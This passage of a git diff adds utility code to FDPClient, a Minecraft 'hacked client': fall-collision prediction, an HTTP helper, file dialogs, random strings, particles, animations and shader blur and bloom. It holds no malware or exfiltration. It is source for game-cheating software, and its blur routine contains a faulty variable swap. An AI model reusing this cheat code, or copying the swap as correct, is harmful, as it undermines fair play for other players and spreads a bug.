MathHelper.cos(yaw * Math.PI.toFloat() / 180.0f) + motionX += (sr * f2 - fw * f1).toDouble() + motionZ += (fw * f2 + sr * f1).toDouble() + } + motionY -= 0.08 + motionY *= 0.9800000190734863 + x += motionX + y += motionY + z += motionZ + motionX *= 0.91 + motionZ *= 0.91 + } + + fun findCollision(ticks: Int): BlockPos? { + for (i in 0 until ticks) { + val start = Vec3(x, y, z) + calculateForTick() + val end = Vec3(x, y, z) + var raytracedBlock: BlockPos? + val w = mc.thePlayer.width / 2f + if (rayTrace(start, end).also { raytracedBlock = it } != null) return raytracedBlock + if (rayTrace(start.addVector(w.toDouble(), 0.0, w.toDouble()), end).also { raytracedBlock = it } != null) return raytracedBlock + if (rayTrace(start.addVector(-w.toDouble(), 0.0, w.toDouble()), end).also { raytracedBlock = it } != null) return raytracedBlock + if (rayTrace(start.addVector(w.toDouble(), 0.0, -w.toDouble()), end).also { raytracedBlock = it } != null) return raytracedBlock + if (rayTrace(start.addVector(-w.toDouble(), 0.0, -w.toDouble()), end).also { raytracedBlock = it } != null) return raytracedBlock + if (rayTrace(start.addVector(w.toDouble(), 0.0, (w / 2f).toDouble()), end).also { raytracedBlock = it } != null) return raytracedBlock + if (rayTrace(start.addVector(-w.toDouble(), 0.0, (w / 2f).toDouble()), end).also { raytracedBlock = it } != null) return raytracedBlock + if (rayTrace(start.addVector((w / 2f).toDouble(), 0.0, w.toDouble()), end).also { raytracedBlock = it } != null) return raytracedBlock + if (rayTrace(start.addVector((w / 2f).toDouble(), 0.0, -w.toDouble()), end).also { raytracedBlock = it } != null) return raytracedBlock + } + return null + } + + private fun rayTrace(start: Vec3, end: Vec3): BlockPos? { + val result = mc.theWorld.rayTraceBlocks(start, end, true) + return if (result != null && result.typeOfHit == MovingObjectPosition.MovingObjectType.BLOCK && result.sideHit == EnumFacing.UP) { + result.blockPos + } else null + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/HoveringUtil.java b/src/main/java/net/ccbluex/liquidbounce/utils/misc/HoveringUtil.java new file mode 100644 index 0000000..7e86915 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/HoveringUtil.java @@ -0,0 +1,9 @@ +package net.ccbluex.liquidbounce.utils.misc; + +public class HoveringUtil { + + public static boolean isHovering(float x, float y, float width, float height, int mouseX, int mouseY) { + return mouseX >= x && mouseY >= y && mouseX < x + width && mouseY < y + height; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/HttpUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/misc/HttpUtils.kt new file mode 100644 index 0000000..55e264b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/HttpUtils.kt @@ -0,0 +1,78 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ + +package net.ccbluex.liquidbounce.utils.misc + +import com.google.common.io.ByteStreams +import net.ccbluex.liquidbounce.utils.ClientUtils +import java.io.DataOutputStream +import java.io.File +import java.io.FileOutputStream +import java.io.InputStream +import java.net.HttpURLConnection +import java.net.URL + +/** + * LiquidBounce Hacked Client + * A minecraft forge injection client using Mixin + * + * @game Minecraft + * @author CCBlueX + */ +object HttpUtils { + + const val DEFAULT_AGENT = "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36 Java/1.8.0_191" + + init { + HttpURLConnection.setFollowRedirects(true) + } + + fun make( + url: String, + method: String, + data: String = "", + agent: String = DEFAULT_AGENT + ): HttpURLConnection { + val httpConnection = URL(url).openConnection() as HttpURLConnection + + httpConnection.requestMethod = method + httpConnection.connectTimeout = 2000 + httpConnection.readTimeout = 10000 + + httpConnection.setRequestProperty("User-Agent", agent) + + httpConnection.instanceFollowRedirects = true + httpConnection.doOutput = true + + if (data.isNotEmpty()) { + val dataOutputStream = DataOutputStream(httpConnection.outputStream) + dataOutputStream.writeBytes(data) + dataOutputStream.flush() + } + + return httpConnection + } + + fun request( + url: String, + method: String, + data: String = "", + agent: String = DEFAULT_AGENT + ): String { + val connection = make(url, method, data, agent) + + return connection.inputStream.reader().readText() + } + + fun download(url: String, file: File) { + ClientUtils.logWarn("Downloading $url to ${file.absolutePath}") + FileOutputStream(file).use { ByteStreams.copy(make(url, "GET").inputStream, it) } + } + + fun get(url: String) = request(url, "GET") + + fun post(url: String, data: String) = request(url, "POST", data = data) +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/MiscUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/misc/MiscUtils.kt new file mode 100644 index 0000000..cf685e2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/MiscUtils.kt @@ -0,0 +1,70 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.misc + +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import java.awt.Desktop +import java.io.File +import java.io.IOException +import java.net.URI +import java.net.URISyntaxException +import java.util.function.Consumer +import javax.swing.JFileChooser +import javax.swing.JFrame +import javax.swing.JOptionPane + +object MiscUtils : MinecraftInstance() { + fun showErrorPopup(message: String) { + JOptionPane.showMessageDialog(null, message, "Alert", JOptionPane.ERROR_MESSAGE) + } + + fun showErrorPopup(title: String, message: String) { + JOptionPane.showMessageDialog(null, message, title, JOptionPane.ERROR_MESSAGE) + } + + fun showURL(url: String) { + try { + if (Desktop.getDesktop().isSupported(Desktop.Action.BROWSE)) { + Desktop.getDesktop().browse(URI(url)) + } + } catch (e: IOException) { + e.printStackTrace() + } catch (e: URISyntaxException) { + e.printStackTrace() + } + } + + fun openFileChooser(): File? { + if (mc.isFullScreen) mc.toggleFullscreen() + val fileChooser = JFileChooser() + val frame = JFrame() + fileChooser.fileSelectionMode = JFileChooser.FILES_ONLY + frame.isVisible = true + frame.toFront() + frame.isVisible = false + val action = fileChooser.showOpenDialog(frame) + frame.dispose() + return if (action == JFileChooser.APPROVE_OPTION) fileChooser.selectedFile else null + } + + fun saveFileChooser(): File? { + if (mc.isFullScreen) mc.toggleFullscreen() + val fileChooser = JFileChooser() + val frame = JFrame() + fileChooser.fileSelectionMode = JFileChooser.FILES_ONLY + frame.isVisible = true + frame.toFront() + frame.isVisible = false + val action = fileChooser.showSaveDialog(frame) + frame.dispose() + return if (action == JFileChooser.APPROVE_OPTION) fileChooser.selectedFile else null + } + + fun <T> make(`object`: T, consumer: Consumer<T>): T { + consumer.accept(`object`) + return `object` + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/RandomUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/misc/RandomUtils.kt new file mode 100644 index 0000000..e9f55a2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/RandomUtils.kt @@ -0,0 +1,37 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.misc + +import java.util.* + +object RandomUtils { + + fun nextBoolean(): Boolean { + return Random().nextBoolean() + } + + @JvmStatic + fun nextInt(startInclusive: Int = 0, endExclusive: Int = Int.MAX_VALUE) = + if (endExclusive - startInclusive <= 0) startInclusive else startInclusive + Random().nextInt(endExclusive - startInclusive) + + fun nextDouble(startInclusive: Double = 0.0, endInclusive: Double = 1.0) = + if (startInclusive == endInclusive || endInclusive - startInclusive <= 0.0) startInclusive else startInclusive + (endInclusive - startInclusive) * Math.random() + + fun nextFloat(startInclusive: Float = 0f, endInclusive: Float = 1f) = + if (startInclusive == endInclusive || endInclusive - startInclusive <= 0f) startInclusive else (startInclusive + (endInclusive - startInclusive) * Math.random()).toFloat() + + fun randomNumber(length: Int) = random(length, "123456789") + + fun randomString(length: Int) = random(length, "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz") + + fun random(length: Int, chars: String)= random(length, chars.toCharArray()) + + fun random(length: Int, chars: CharArray): String { + val stringBuilder = StringBuilder() + for (i in 0 until length) stringBuilder.append(chars[Random().nextInt(chars.size)]) + return stringBuilder.toString() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/SmoothStepAnimation.java b/src/main/java/net/ccbluex/liquidbounce/utils/misc/SmoothStepAnimation.java new file mode 100644 index 0000000..7da31ea --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/SmoothStepAnimation.java @@ -0,0 +1,17 @@ +package net.ccbluex.liquidbounce.utils.misc; + +public class SmoothStepAnimation extends Animation { + public SmoothStepAnimation(final int ms, final double endPoint) { + super(ms, endPoint); + } + + public SmoothStepAnimation(final int ms, final double endPoint, final Direction direction) { + super(ms, endPoint, direction); + } + + @Override + protected double getEquation(final double x) { + final double x2 = x / this.duration; + return -2.0 * Math.pow(x2, 3.0) + 3.0 * Math.pow(x2, 2.0); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/misc/StringUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/misc/StringUtils.java new file mode 100644 index 0000000..ad1f582 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/misc/StringUtils.java @@ -0,0 +1,106 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.misc; + +import kotlin.text.Charsets; +import org.apache.commons.io.IOUtils; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; + +public final class StringUtils { + + private static final Map<String,String> pinyinMap=new HashMap<>(); + private static final HashMap<String,String> airCache = new HashMap<>(); + + public static String toCompleteString(final String[] args, final int start) { + return toCompleteString(args, start, " "); + } + + public static String toCompleteString(final String[] args, final int start, final String join) { + if(args.length <= start) return ""; + + return String.join(join, Arrays.copyOfRange(args, start, args.length)); + } + + public static String replace(final String string, final String searchChars, String replaceChars) { + if(string.isEmpty() || searchChars.isEmpty() || searchChars.equals(replaceChars)) + return string; + + if(replaceChars == null) + replaceChars = ""; + + final int stringLength = string.length(); + final int searchCharsLength = searchChars.length(); + final StringBuilder stringBuilder = new StringBuilder(string); + + for(int i = 0; i < stringLength; i++) { + final int start = stringBuilder.indexOf(searchChars, i); + + if(start == -1) { + if(i == 0) + return string; + + return stringBuilder.toString(); + } + + stringBuilder.replace(start, start + searchCharsLength, replaceChars); + } + + return stringBuilder.toString(); + } + + public static String toPinyin(final String inString, final String fill) { + if(pinyinMap.isEmpty()) { + try { + String[] dict = IOUtils.toString(StringUtils.class.getClassLoader().getResourceAsStream("assets/minecraft/fdpclient/misc/pinyin"), Charsets.UTF_8).split(";"); + for(String word:dict){ + String[] wordData=word.split(","); + pinyinMap.put(wordData[0],wordData[1]); + } + } catch (final Exception e) { + e.printStackTrace(); + } + } + final String[] strSections = inString.split(""); + final StringBuilder result = new StringBuilder(); + boolean lastIsPinyin = false; + for(String section : strSections){ + if (pinyinMap.containsKey(section)) { + result.append(fill); + result.append(pinyinMap.get(section)); + lastIsPinyin = true; + } else { + if(lastIsPinyin) { + result.append(fill); + } + result.append(section); + lastIsPinyin = false; + } + } + return result.toString(); + } + + public static String injectAirString(String str) { + if(airCache.containsKey(str)) return airCache.get(str); + + StringBuilder stringBuilder = new StringBuilder(); + + boolean hasAdded = false; + for(char c : str.toCharArray()) { + stringBuilder.append(c); + if (!hasAdded) stringBuilder.append('\uF8FF'); + hasAdded = true; + } + + String result = stringBuilder.toString(); + airCache.put(str, result); + + return result; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/particles/EvictingList.java b/src/main/java/net/ccbluex/liquidbounce/utils/particles/EvictingList.java new file mode 100644 index 0000000..c31ec4b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/particles/EvictingList.java @@ -0,0 +1,24 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.particles; + +import java.util.LinkedList; + +public final class EvictingList<T> extends LinkedList<T> { + + private final int maxSize; + + public EvictingList(final int maxSize) { + this.maxSize = maxSize; + } + + @Override + public boolean add(final T t) { + if (size() >= maxSize) removeFirst(); + return super.add(t); + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/particles/Particle.java b/src/main/java/net/ccbluex/liquidbounce/utils/particles/Particle.java new file mode 100644 index 0000000..06a912d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/particles/Particle.java @@ -0,0 +1,55 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.particles; + +import net.ccbluex.liquidbounce.utils.timer.ParticleTimer; +import net.minecraft.block.Block; +import net.minecraft.block.BlockAir; +import net.minecraft.block.BlockBush; +import net.minecraft.block.BlockLiquid; + +public class Particle { + + private final ParticleTimer removeTimer = new ParticleTimer(); + + public final Vec3 position; + private final Vec3 delta; + + public Particle(final Vec3 position) { + this.position = position; + this.delta = new Vec3((Math.random() * 2.5 - 1.25) * 0.04, (Math.random() * 0.5 - 0.2) * 0.04, (Math.random() * 2.5 - 1.25) * 0.04); + this.removeTimer.reset(); + } + + public void update() { + final Block block1 = PlayerParticles.getBlock(this.position.xCoord, this.position.yCoord, this.position.zCoord + this.delta.zCoord); + if (!(block1 instanceof BlockAir || block1 instanceof BlockBush || block1 instanceof BlockLiquid)) + this.delta.zCoord *= -0.8; + + final Block block2 = PlayerParticles.getBlock(this.position.xCoord, this.position.yCoord + this.delta.yCoord, this.position.zCoord); + if (!(block2 instanceof BlockAir || block2 instanceof BlockBush || block2 instanceof BlockLiquid)) { + this.delta.xCoord *= 0.99F; + this.delta.zCoord *= 0.99F; + + this.delta.yCoord *= -0.5; + } + + final Block block3 = PlayerParticles.getBlock(this.position.xCoord + this.delta.xCoord, this.position.yCoord, this.position.zCoord); + if (!(block3 instanceof BlockAir || block3 instanceof BlockBush || block3 instanceof BlockLiquid)) + this.delta.xCoord *= -0.8; + + this.updateWithoutPhysics(); + } + + public void updateWithoutPhysics() { + this.position.xCoord += this.delta.xCoord; + this.position.yCoord += this.delta.yCoord; + this.position.zCoord += this.delta.zCoord; + this.delta.xCoord *= 0.998F; + this.delta.yCoord -= 0.000031; + this.delta.zCoord *= 0.998F; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/particles/ParticleUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/particles/ParticleUtils.java new file mode 100644 index 0000000..05fffab --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/particles/ParticleUtils.java @@ -0,0 +1,17 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.particles; + +import net.vitox.ParticleGenerator; + +public final class ParticleUtils { + + private static final ParticleGenerator particleGenerator = new ParticleGenerator(100); + + public static void drawParticles(int mouseX, int mouseY) { + particleGenerator.draw(mouseX, mouseY); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/particles/PlayerParticles.java b/src/main/java/net/ccbluex/liquidbounce/utils/particles/PlayerParticles.java new file mode 100644 index 0000000..bd41ba0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/particles/PlayerParticles.java @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.particles; + +import net.minecraft.block.*; +import net.minecraft.client.Minecraft; +import net.minecraft.util.*; + +public class PlayerParticles { + private static final Minecraft mc = Minecraft.getMinecraft(); + + public static Block getBlock(final double offsetX, final double offsetY, final double offsetZ) { + return mc.theWorld.getBlockState(new BlockPos(offsetX, offsetY, offsetZ)).getBlock(); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/particles/Vec3.java b/src/main/java/net/ccbluex/liquidbounce/utils/particles/Vec3.java new file mode 100644 index 0000000..1911aa8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/particles/Vec3.java @@ -0,0 +1,47 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.particles; + +public class Vec3 { + + /** + * X coordinate of Vec3D + */ + public double xCoord; + + /** + * Y coordinate of Vec3D + */ + public double yCoord; + + /** + * Z coordinate of Vec3D + */ + public double zCoord; + + public Vec3(double x, double y, double z) { + if (x == -0.0D) { + x = 0.0D; + } + + if (y == -0.0D) { + y = 0.0D; + } + + if (z == -0.0D) { + z = 0.0D; + } + + this.xCoord = x; + this.yCoord = y; + this.zCoord = z; + } + + public String toString() { + return "(" + this.xCoord + ", " + this.yCoord + ", " + this.zCoord + ")"; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/Animation.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/Animation.kt new file mode 100644 index 0000000..30ce48f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/Animation.kt @@ -0,0 +1,49 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render +class Animation( + val type: EaseUtils.EnumEasingType, + val order: EaseUtils.EnumEasingOrder, + val from: Double, + val to: Double, + val duration: Long +) { + var state = EnumAnimationState.NOT_STARTED + + private var startTime = 0L + + fun start(): Animation { + if (state != EnumAnimationState.NOT_STARTED) { + throw IllegalStateException("Animation already started!") + } + + startTime = System.currentTimeMillis() + state = EnumAnimationState.DURING + + return this + } + + val value: Double + get() = when (state) { + EnumAnimationState.NOT_STARTED -> from + EnumAnimationState.DURING -> { + val percent = (System.currentTimeMillis() - startTime) / duration.toDouble() + if (percent> 1) { + state = EnumAnimationState.STOPPED + to + } else { + from + ((to - from) * EaseUtils.apply(type, order, percent)) + } + } + EnumAnimationState.STOPPED -> to + } + + enum class EnumAnimationState { + NOT_STARTED, + DURING, + STOPPED + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/BlendUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/BlendUtils.java new file mode 100644 index 0000000..ac011f9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/BlendUtils.java @@ -0,0 +1,88 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import java.awt.*; + +public enum BlendUtils { + ; + BlendUtils() { + + } + + public static Color getHealthColor(float health, float maxHealth) { + float[] fractions = new float[]{0.0F, 0.5F, 1.0F}; + Color[] colors = new Color[]{new Color(108, 0, 0), new Color(255, 51, 0), Color.GREEN}; + float progress = health / maxHealth; + return blendColors(fractions, colors, progress).brighter(); + } + + public static Color blendColors(float[] fractions, Color[] colors, float progress) { + if (fractions.length == colors.length) { + int[] indices = getFractionIndices(fractions, progress); + float[] range = new float[]{fractions[indices[0]], fractions[indices[1]]}; + Color[] colorRange = new Color[]{colors[indices[0]], colors[indices[1]]}; + float max = range[1] - range[0]; + float value = progress - range[0]; + float weight = value / max; + return blend(colorRange[0], colorRange[1], (double)(1.0F - weight)); + } else { + throw new IllegalArgumentException("Fractions and colours must have equal number of elements"); + } + } + + public static int[] getFractionIndices(float[] fractions, float progress) { + int[] range = new int[2]; + + int startPoint; + for(startPoint = 0; startPoint < fractions.length && fractions[startPoint] <= progress; ++startPoint) { + } + + if (startPoint >= fractions.length) { + startPoint = fractions.length - 1; + } + + range[0] = startPoint - 1; + range[1] = startPoint; + return range; + } + + public static Color blend(Color color1, Color color2, double ratio) { + float r = (float)ratio; + float ir = 1.0F - r; + float[] rgb1 = color1.getColorComponents(new float[3]); + float[] rgb2 = color2.getColorComponents(new float[3]); + float red = rgb1[0] * r + rgb2[0] * ir; + float green = rgb1[1] * r + rgb2[1] * ir; + float blue = rgb1[2] * r + rgb2[2] * ir; + if (red < 0.0F) { + red = 0.0F; + } else if (red > 255.0F) { + red = 255.0F; + } + + if (green < 0.0F) { + green = 0.0F; + } else if (green > 255.0F) { + green = 255.0F; + } + + if (blue < 0.0F) { + blue = 0.0F; + } else if (blue > 255.0F) { + blue = 255.0F; + } + + Color color3 = null; + + try { + color3 = new Color(red, green, blue); + } catch (IllegalArgumentException ignored) { + } + + return color3; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/BloomUtil.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/BloomUtil.java new file mode 100644 index 0000000..d339413 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/BloomUtil.java @@ -0,0 +1,92 @@ +package net.ccbluex.liquidbounce.utils.render; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.OpenGlHelper; +import net.minecraft.client.shader.Framebuffer; +import org.lwjgl.BufferUtils; +import org.lwjgl.opengl.GL11; +import org.lwjgl.opengl.GL13; + +import java.awt.*; +import java.nio.FloatBuffer; + +import static net.ccbluex.liquidbounce.utils.MathUtils.calculateGaussianValue; +import static net.ccbluex.liquidbounce.utils.render.RenderUtils.bindTexture; +import static net.ccbluex.liquidbounce.utils.render.RenderUtils.createFrameBuffer; +import static net.minecraft.client.renderer.OpenGlHelper.glUniform1; +import static net.minecraft.client.renderer.OpenGlHelper.glUniform2; +import static org.lwjgl.opengl.GL11.*; + +public class BloomUtil { + + public static Minecraft mc=Minecraft.getMinecraft(); + public static ShaderUtil gaussianBloom = new ShaderUtil("shaders/Shaders/bloom.frag"); + + public static Framebuffer framebuffer = new Framebuffer(1, 1, false); + + public static void setAlphaLimit(float limit) { + GlStateManager.enableAlpha(); + GlStateManager.alphaFunc(GL_GREATER, (float) (limit * .01)); + } + + public static void renderBlur(int sourceTexture, int radius, int offset, Color color) { + framebuffer = createFrameBuffer(framebuffer); + final boolean enableBlend = GL11.glIsEnabled(3042); + final boolean disableAlpha = !GL11.glIsEnabled(3008); + if (!enableBlend) { + GL11.glEnable(3042); + } + if (!disableAlpha) { + GL11.glDisable(3008); + } + GlStateManager.alphaFunc(516, 0.0f); + OpenGlHelper.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA, 1, 0); + final FloatBuffer weightBuffer = BufferUtils.createFloatBuffer(256); + for (int i = 0; i <= radius; i++) { + weightBuffer.put(calculateGaussianValue(i, radius)); + } + weightBuffer.rewind(); + setAlphaLimit(1F); + framebuffer.framebufferClear(); + framebuffer.bindFramebuffer(true); + gaussianBloom.init(); + setupUniforms(radius, offset, 0, weightBuffer , color); + bindTexture(sourceTexture); + ShaderUtil.drawQuads(); + gaussianBloom.unload(); + framebuffer.unbindFramebuffer(); + + mc.getFramebuffer().bindFramebuffer(true); + + gaussianBloom.init(); + setupUniforms(radius, 0, offset, weightBuffer , color); + GL13.glActiveTexture(GL13.GL_TEXTURE16); + bindTexture(sourceTexture); + GL13.glActiveTexture(GL13.GL_TEXTURE0); + bindTexture(framebuffer.framebufferTexture); + ShaderUtil.drawQuads(); + gaussianBloom.unload(); + + GlStateManager.alphaFunc(516, 0.1f); + GlStateManager.enableAlpha(); + + GlStateManager.bindTexture(0); + } + + public static void setupUniforms(int radius, int directionX, int directionY, FloatBuffer weights,Color color) { + gaussianBloom.setUniformi("inTexture", 0); + gaussianBloom.setUniformi("textureToCheck", 16); + gaussianBloom.setUniformf("radius", radius); + gaussianBloom.setUniformf("texelSize", 1.0F / (float) mc.displayWidth, 1.0F / (float) mc.displayHeight); + gaussianBloom.setUniformf("direction", directionX, directionY); + float r=color.getRed()/255f; + float g=color.getGreen()/255f; + float b=color.getBlue()/255f; + glUniform1(gaussianBloom.getUniform("weights"), weights); + gaussianBloom.setUniformf("colorR", r); + gaussianBloom.setUniformf("colorG", g); + gaussianBloom.setUniformf("colorB", b); + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/BlurUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/BlurUtils.kt new file mode 100644 index 0000000..a8d10bf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/BlurUtils.kt @@ -0,0 +1,188 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render + +import net.ccbluex.liquidbounce.injection.access.StaticStorage +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.OpenGlHelper +import net.minecraft.client.renderer.Tessellator +import net.minecraft.client.renderer.vertex.DefaultVertexFormats +import net.minecraft.client.shader.Framebuffer +import net.minecraft.client.shader.ShaderGroup +import net.minecraft.util.ResourceLocation + +object BlurUtils : MinecraftInstance() { + private val blurShader: ShaderGroup = ShaderGroup(mc.textureManager, mc.resourceManager, mc.framebuffer, ResourceLocation("shaders/post/blurArea.json")) + private lateinit var buffer: Framebuffer + private var lastScale = 0 + private var lastScaleWidth = 0 + private var lastScaleHeight = 0 + + private val shaderGroup = ShaderGroup(mc.textureManager, mc.resourceManager, mc.framebuffer, ResourceLocation("shaders/post/blurArea.json")) + private val framebuffer = shaderGroup.mainFramebuffer + private val frbuffer = shaderGroup.getFramebufferRaw("result") + + private var lastFactor = 0 + private var lastWidth = 0 + private var lastHeight = 0 + + private var lastX = 0F + private var lastY = 0F + private var lastW = 0F + private var lastH = 0F + + private var lastStrength = 5F + + private fun setupFramebuffers() { + try { + shaderGroup.createBindFramebuffers(mc.displayWidth, mc.displayHeight) + } catch (e : Exception) { + ClientUtils.logInfo("Exception caught while setting up shader group") + } + } + + private fun setValues(strength: Float, x: Float, y: Float, w: Float, h: Float, width: Float, height: Float, force: Boolean = false) { + if (!force && strength == lastStrength && lastX == x && lastY == y && lastW == w && lastH == h) return + lastStrength = strength + lastX = x + lastY = y + lastW = w + lastH = h + + for (i in 0..1) { + shaderGroup.listShaders[i].shaderManager.getShaderUniform("Radius").set(strength) + shaderGroup.listShaders[i].shaderManager.getShaderUniform("BlurXY")[x] = height - y - h + shaderGroup.listShaders[i].shaderManager.getShaderUniform("BlurCoord")[w] = h + } + } + + private fun reinitShader() { + blurShader.createBindFramebuffers(mc.displayWidth, mc.displayHeight) + buffer = Framebuffer(mc.displayWidth, mc.displayHeight, true) + buffer.setFramebufferColor(0.0f, 0.0f, 0.0f, 0.0f) + } + + fun draw(x: Float, y: Float, width: Float, height: Float, radius: Float) { + val scale = StaticStorage.scaledResolution ?: return + val factor = scale.scaleFactor + val factor2 = scale.scaledWidth + val factor3 = scale.scaledHeight + if (lastScale != factor || lastScaleWidth != factor2 || lastScaleHeight != factor3) { + reinitShader() + } + lastScale = factor + lastScaleWidth = factor2 + lastScaleHeight = factor3 + blurShader.listShaders[0].shaderManager.getShaderUniform("BlurXY")[x] = factor3 - y - height + blurShader.listShaders[1].shaderManager.getShaderUniform("BlurXY")[x] = factor3 - y - height + blurShader.listShaders[0].shaderManager.getShaderUniform("BlurCoord")[width] = height + blurShader.listShaders[1].shaderManager.getShaderUniform("BlurCoord")[width] = height + blurShader.listShaders[0].shaderManager.getShaderUniform("Radius").set(radius) + blurShader.listShaders[1].shaderManager.getShaderUniform("Radius").set(radius) + blurShader.loadShaderGroup(mc.timer.renderPartialTicks) + mc.framebuffer.bindFramebuffer(true) + } + + @JvmStatic + fun blur(posX: Float, posY: Float, posXEnd: Float, posYEnd: Float, blurStrength: Float, displayClipMask: Boolean, triggerMethod: () -> Unit) { + if (!OpenGlHelper.isFramebufferEnabled()) return + + var x = posX + var y = posY + var x2 = posXEnd + var y2 = posYEnd + + if (x > x2) { + val z = x + x = x2 + x2 = z + } + + if (y > y2) { + val z = y + y = y2 + y2 = y + } + + val sc = ScaledResolution(mc) + val scaleFactor = sc.scaleFactor + val width = sc.scaledWidth + val height = sc.scaledHeight + + if (sizeHasChanged(scaleFactor, width, height)) { + setupFramebuffers() + setValues(blurStrength, x, y, x2 - x, y2 - y, width.toFloat(), height.toFloat(), true) + } + + lastFactor = scaleFactor + lastWidth = width + lastHeight = height + + setValues(blurStrength, x, y, x2 - x, y2 - y, width.toFloat(), height.toFloat()) + + framebuffer.bindFramebuffer(true) + shaderGroup.loadShaderGroup(mc.timer.renderPartialTicks) + mc.framebuffer.bindFramebuffer(true) + + Stencil.write(displayClipMask) + triggerMethod() + + Stencil.erase(true) + GlStateManager.enableBlend() + GlStateManager.blendFunc(770, 771) + GlStateManager.pushMatrix() + GlStateManager.colorMask(true, true, true, false) + GlStateManager.disableDepth() + GlStateManager.depthMask(false) + GlStateManager.enableTexture2D() + 